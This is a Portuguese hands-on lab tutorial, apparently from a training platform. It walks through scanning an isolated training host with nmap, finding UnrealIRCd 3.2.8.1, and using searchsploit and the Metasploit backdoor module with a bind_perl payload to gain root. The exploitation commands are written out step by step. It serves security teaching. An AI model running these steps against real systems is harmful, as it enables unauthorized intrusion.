Utilizar o Nmap para Escanear e Explorar Vulnerabilidades de um Host Alvo

NmapBeginner
Pratique Agora

Introdução

O escaneamento de rede é uma disciplina extremamente prática. Por meio dele, os usuários podem descobrir as portas atribuídas a vários serviços no host alvo, serviços abertos, softwares de serviço e suas versões, além de outras informações.

Neste laboratório, você aprenderá a escanear vulnerabilidades de segurança em serviços de rede de um host alvo.

Utilizar o Nmap para Escanear Portas Abertas no Host Alvo

O fluxo de trabalho básico do escaneamento de rede é o seguinte:

  1. Descoberta do host alvo
  2. Escaneamento de portas
  3. Escaneamento de informações de impressão digital (fingerprinting)
  4. Escaneamento de vulnerabilidades
  5. Execução de ataques de intrusão

O Nmap (Network Mapper) é uma ferramenta poderosa de escaneamento de rede. Ele suporta várias técnicas de escaneamento, como UDP, TCP connect(), TCP SYN (escaneamento semiaberto), proxy FTP (ataque bounce), flag reversa, ICMP, FIN, ACK, SYN e escaneamento nulo.

Nesta etapa, você usará o Nmap para escanear as portas abertas no host alvo. A configuração do laboratório já iniciou o serviço vulnerável de treinamento em 192.168.122.102, portanto, seu escaneamento deve encontrar um host ativo em vez de relatar que o alvo está inativo.

  1. Abra um terminal e entre no container Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Use o comando nmap para escanear o host alvo 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Este comando escaneia a porta 6667 no host alvo, utiliza uma política de temporização mais rápida, habilita a detecção de versão e salva a saída em /tmp/report.txt.

Analisar os Resultados do Escaneamento

Após escanear o host alvo, você precisa analisar os resultados para identificar possíveis vulnerabilidades.

  1. Visualize o relatório de escaneamento:
cat /tmp/report.txt

Este comando exibe o conteúdo do arquivo /tmp/report.txt, que contém informações sobre as portas abertas, serviços e versões no host alvo. Um escaneamento bem-sucedido deve mostrar que o host está ativo e que a porta 6667 está aberta, de forma semelhante ao exemplo abaixo:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd 3.2.8.1

Service Info: Host: labex-target
  1. Use a ferramenta searchsploit para pesquisar informações sobre vulnerabilidades:
searchsploit unreal ircd

Este comando pesquisa no Exploit Database por vulnerabilidades relacionadas ao serviço "unreal ircd". Aqui está um exemplo da saída que você pode ver:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Visualize os detalhes de uma vulnerabilidade:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Este comando exibe o conteúdo do arquivo de exploração da vulnerabilidade localizado em /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Explorar uma Vulnerabilidade

Após analisar os resultados do escaneamento e identificar possíveis vulnerabilidades, você pode tentar explorar uma delas para realizar um ataque de intrusão.

  1. Identifique uma vulnerabilidade explorável a partir dos resultados do escaneamento. Por exemplo, vamos supor que o escaneamento encontrou a porta 6667 aberta com um serviço vulnerável.

  2. Inicie o Metasploit Framework:

cd ~
msfconsole
  1. No console do Metasploit, selecione o módulo de exploração apropriado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Defina o endereço IP do host alvo:
set RHOST 192.168.122.102
  1. Defina o payload:
set PAYLOAD cmd/unix/bind_perl
  1. Inicie a exploração:
exploit

Se a exploração for bem-sucedida, você obterá acesso ao host alvo.

  1. Após tentar explorar uma vulnerabilidade, você deve verificar se a exploração foi bem-sucedida. Na sessão do Metasploit, verifique o usuário atual e o hostname:
whoami
hostname

Se a saída mostrar que você está logado como usuário root, a exploração foi bem-sucedida. Neste laboratório, o serviço vulnerável é executado dentro de um namespace de rede isolado na VM de treinamento, portanto, a saída do hostname mostrará o nome da VM do LabEx atual em vez do nome de uma máquina convidada separada.

Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção

Resumo

Neste laboratório, você aprendeu o fluxo de trabalho básico do escaneamento de rede, que inclui a descoberta do host alvo, escaneamento de portas, escaneamento de informações de impressão digital, escaneamento de vulnerabilidades e a execução de ataques de intrusão. Você utilizou a poderosa ferramenta Nmap para escanear as portas abertas no host alvo e analisou os resultados para identificar possíveis vulnerabilidades. Além disso, aprendeu a pesquisar informações sobre vulnerabilidades usando a ferramenta searchsploit e como explorar uma vulnerabilidade usando o Metasploit Framework. Por fim, verificou o sucesso da exploração checando o usuário atual e o hostname no host alvo.

Por meio deste laboratório prático, você adquiriu experiência real no escaneamento de vulnerabilidades de segurança em serviços de rede e na execução de ataques de intrusão. Esse conhecimento é crucial para garantir a segurança de sistemas de rede e identificar riscos potenciais.